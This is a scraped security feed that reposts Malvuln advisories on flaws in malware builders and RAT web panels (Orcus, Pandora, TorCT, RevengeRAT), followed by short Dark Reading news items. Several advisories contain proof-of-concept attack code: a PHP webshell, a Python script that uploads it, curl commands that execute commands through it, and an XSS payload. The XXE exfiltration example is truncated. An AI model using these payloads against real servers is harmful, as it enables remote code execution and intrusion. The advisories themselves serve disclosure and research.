Exploit Collector
BuilderOrcus Insecure Credential Storage

https://2.bp.blogspot.com/-DNFQNR6e8p4/WWlvIe_2SVI/AAAAAAAAILs/sd08rXaHefk0y1DdsYY6dPeiz0i718ntQCLcBGAs/s1600/h143.png
BuilderOrcus malware suffers from an insecure credential storage vulnerability.

MD5 | 0e39f83eb4caa90c371794665f7e2737

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/cc3670f1b3e60e00b43c86d787563a44_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: BuilderOrcus (Orcus.Administration-cracked.exe)
Vulnerability: Insecure Credential Storage
Description: The malware stores its password in plaintext in a settings.json file.
Family: BuilderOrcus
Type: PE32
MD5: cc3670f1b3e60e00b43c86d787563a44
Vuln ID: MVID-2022-0516
Disclosure: 03/17/2022
Exploit/PoC:
settings.json snippet.

{
"IpAddresses": [
{
"Ip": "127.0.0.1",
"Port": 10134
},
{
"Ip": "0.0.0.0",
"Port": 10134
}
],
"Password": "malvuln",
"IsDnsUpdaterEnabled": false,
"DnsUpdaterSettings": null,
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
BuilderPandoraRat.b Insecure Credential Storage

https://2.bp.blogspot.com/-LETyKySuDgQ/WWlvb4o-z5I/AAAAAAAAIPU/5gCHtKhwhLoet_fHEL-XnPuLlDk7q9atQCLcBGAs/s1600/h76.png
BuilderPandoraRat.b malware suffers from an insecure credential storage vulnerability.

MD5 | 583432cca2a60496afc97df4725c80bf

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/ae4a409d217bbd538009fbbb5457e754.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: BuilderPandoraRat.b - (Pandora Rat 2.2 [Beta].exe)
Vulnerability: Insecure Credential Storage
Description: The malware listens on TCP port 6622. Credentials are stored in plaintext in Settings.ini file and default password is blank.
Family: Pandora
Type: PE32
MD5: ae4a409d217bbd538009fbbb5457e754
Vuln ID: MVID-2022-0517
Disclosure: 03/17/2022
Exploit/PoC:
Settings.ini

[Options]
Ports=6622#6622#
Password=malvuln
Notify=0
Upnp=0

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
BuilderTorCTPHPRAT.b Shell Upload

https://2.bp.blogspot.com/-8IZk1MGzGDs/WWlvRc2I8KI/AAAAAAAAINM/SaF41lFV3n4aBJrQBjJ2SaVGr7WaiJo3gCLcBGAs/s1600/h34.png
BuilderTorCTPHPRAT.b malware suffers from a remote shell upload vulnerability.

MD5 | e1f0f065b12c52e203c5e37d8ba67035

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/838f67d7a4b6824ec59892057aab3bb7_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: BuilderTorCTPHPRAT.b
Vulnerability: Arbitrary File Upload - RCE
Family: TorCTPHPRAT
Type: WebUI
MD5: 838f67d7a4b6824ec59892057aab3bb7 (Webremote TorCT Client.exe)
MD5: b54822058a3ed33c673d06113b453ebe (upload.php)
Vuln ID: MVID-2022-0519
Disclosure: 03/17/2022
Description: The TorCT client malwares web-panel allows unauthenticated uploads and does not check the expected file type E.g. ".png". Third-party attackers who can reach the server can upload their own backdoor PHP webshell and execute any commands on the malwares C2 server.

"upload.php" vulnerable code:

$DelOrNot = $_GET['D'];

if ($DelOrNot == "true")
{

unlink('Upload/1.png');
unlink('Upload/2.png');
}else{

$uploadDir = 'Upload/';
$uploadFile = $uploadDir . basename($_FILES['file']['name']);
if (is_uploaded_file($_FILES['file']['tmp_name']))
{
echo "File ". $_FILES['file']['name'] ." is successfully uploaded!\r\n";
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile))
{
echo "File is successfully stored! ";
}
else print_r($_FILES);
}
else
{
echo "Upload Failed!";
print_r($_FILES);
}
}
Exploit/PoC:
1) Create PHP webshell "pwn.php", exec($_GET['cmd']);

2) Create Python uploader "torct_webshell.py"
import requests

url="http://TORCT_PHP_RAT_SERVER/BuilderTorCTPHPRAT.b/New_TorCT_6_22_1_6/UPLOAD%20%20(New%20PHP%20FILES)/upload.php"

files = {'file': open('pwn.php', 'rb')}
r = requests.post(url, files=files)
if r.status_code==200:
print(r.status_code)
print("TorCTPHPRAT PWNED!")

3) Exploit
curl "http://127.0.0.1/BuilderTorCTPHPRAT.b/New_TorCT_6_22_1_6/UPLOAD%20%20(New%20PHP%20FILES)/upload/pwn.php?cmd=calc.exe"
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
BuilderTorCTPHPRAT.b Insecure Credential Storage

https://1.bp.blogspot.com/-93ZP4TpCwBw/WWlu7wGG0SI/AAAAAAAAIJg/yDCONAkAMz8MX1TtbGL6KFo1njFu_UyvACLcBGAs/s1600/h111.png
BuilderTorCTPHPRAT.b malware suffers from an insecure credential storage vulnerability.

MD5 | 89c1ad7aed4f3e3592c9bb4be71d9ff4

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/838f67d7a4b6824ec59892057aab3bb7.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: BuilderTorCTPHPRAT.b
Vulnerability: Insecure Credential Storage
Description: The default password for the TorCT client malwares web-panel is "ww" and is stored in cleartext within the "password.php" file.
Family: TorCTPHPRAT
Type: WebUI
MD5: 838f67d7a4b6824ec59892057aab3bb7 (Webremote TorCT Client.exe)
MD5: 43d146da154d42e721b83e53a5670f14 (password.php)
Vuln ID: MVID-2022-0518
Disclosure: 03/17/2022

Exploit/PoC:
"password.php"

// If you want to change your password,
// please edit it like this: $password = "example1"; This will make the password: example1
// By default the password is: $password = "ww";
$password = "ww";
$ClientPassword = "False"; // Change in True if you want a password for your client
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
BuilderRevengeRAT XML Injection

https://3.bp.blogspot.com/-4JQvP0m8T2k/WWlu48OEwdI/AAAAAAAAII8/Zf-K1JUBYisUlMBEUhCPF3Gl3BdQ2zG_gCLcBGAs/s1600/h103.png
BuilderRevengeRAT malware suffers from an XML injection vulnerability.

MD5 | 29ec86aeac2c390d44e806785065a972

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/531d8b4ac8f7eb827d62424169321b2b.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: BuilderRevengeRAT - (Revenge-RAT v0.3)
Vulnerability: XML External Entity Injection
Description: The malware listens on TCP port 333. There is a Config.xml file used by the RAT builder to specify port, notification, webcam etc. The XML parser used by the RAT is vulnerable to XML Injection, this can allow local file exfiltration to a remote attacker server and or Geo location disclosure of the RAT builder.
Family: Revenge
Type: PE32
MD5: 531d8b4ac8f7eb827d62424169321b2b
Vuln ID: MVID-2022-0521
Disclosure: 03/17/2022

Exploit/PoC:
1) python -m http.server (Port 8000)

2) "payload.dtd"

%all;

3) "Config.xml"



Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
BuilderTorCTPHPRAT.b Cross Site Scripting

https://4.bp.blogspot.com/-SxgEc7szt9w/WWlva1nZfUI/AAAAAAAAIPE/UrvwYC_4YmMlGypxS9ASHy318XWSifzEQCLcBGAs/s1600/h71.png
BuilderTorCTPHPRAT.b malware suffers from a cross site scripting vulnerability.

MD5 | bd1d93d18137fa1f7db396fd903a7d52

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/838f67d7a4b6824ec59892057aab3bb7_C.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: BuilderTorCTPHPRAT.b
Vulnerability: Remote Persistent XSS
Family: TorCTPHPRAT
Type: WebUI
MD5: 838f67d7a4b6824ec59892057aab3bb7 (Webremote TorCT Client.exe)
MD5: dc40fa699cfce01802213dbbd0cbe37e (SlaveOnline.php)
Vuln ID: MVID-2022-0520
Disclosure: 03/17/2022
Description: The TorCT client malwares web-panel allows unauthenticated users to write data to the Slaves.txt file. There is no secure coding practice or filtering of input or sanitization of output. Third-party attackers who can reach the server can make HTTP Post requests writing arbitrary JS code into the Slaves.txt file. The XSS payload will execute client side code in the security context of the currently logged on user anytime the WebUI is accessed. This can result in data modification, theft or GEO location disclosure of the user accessing the TorCT WebUI.

"SlaveOnline.php" code snippet:

$fn= $_GET['online'];
$ip = $_SERVER['REMOTE_ADDR'];
$extrainfo = $_GET['info'];
$emptystring = "";

function visitor_country() {
$ip = $_SERVER["REMOTE_ADDR"];
if(filter_var(@$_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP))
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
if(filter_var(@$_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP))
$ip = $_SERVER['HTTP_CLIENT_IP'];
$derp = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=" . $ip));
$result1=$derp ->geoplugin_countryCode;
$result2=$derp ->geoplugin_countryName;
$result = "[".$result1."] - ".$result2;
return $result;
}

$countryname = visitor_country();
if ($extrainfo == "") { $extrainfo = "||||";}
$extrainfo = $extrainfo."|||||";
$file = file_get_contents('./Slaves.txt', False);
$write = $countryname."|".$_SERVER['REMOTE_ADDR'] . "|" .$extrainfo. "+" ;
echo $file;

etc...

Exploit/PoC:
curl "http://TorCTPHPRAT_SERVER_IP/New_TorCT_6_22_1_6/UPLOAD%20%20(New%20PHP%20FILES)/SlaveOnline.php?online=1&info=%3Cscript%3Ealert('malvuln')%3C/script%3E"
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Stopping Russian Cyberattacks at Their Source

Step up training with cybersecurity drills, teach how to avoid social engineering traps, share open source monitoring tools, and make multifactor authentication the default.

Dark Reading: Attacks/Breaches
Glasswall Launches Freemium Version of its Desktop Content Disarm and Reconstruction App

Glasswall technology offers proactive protection from file-based cybersecurity threats.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Titaniam Announces Completion of Product Suite

The Titaniam Suite includes ransomware and extortion defense capabilities in the form of five products.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Cloudflare Announces API Gateway

Organizations can secure, manage, and monitor all of their APIs in one easy-to-use dashboard.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Nok Nok Labs Unveils S3 Authentication Suite

Enhancements include support for OpenID Connect as an integration mechanism.

___________________________
@hacking_Attack
@Hacking_Video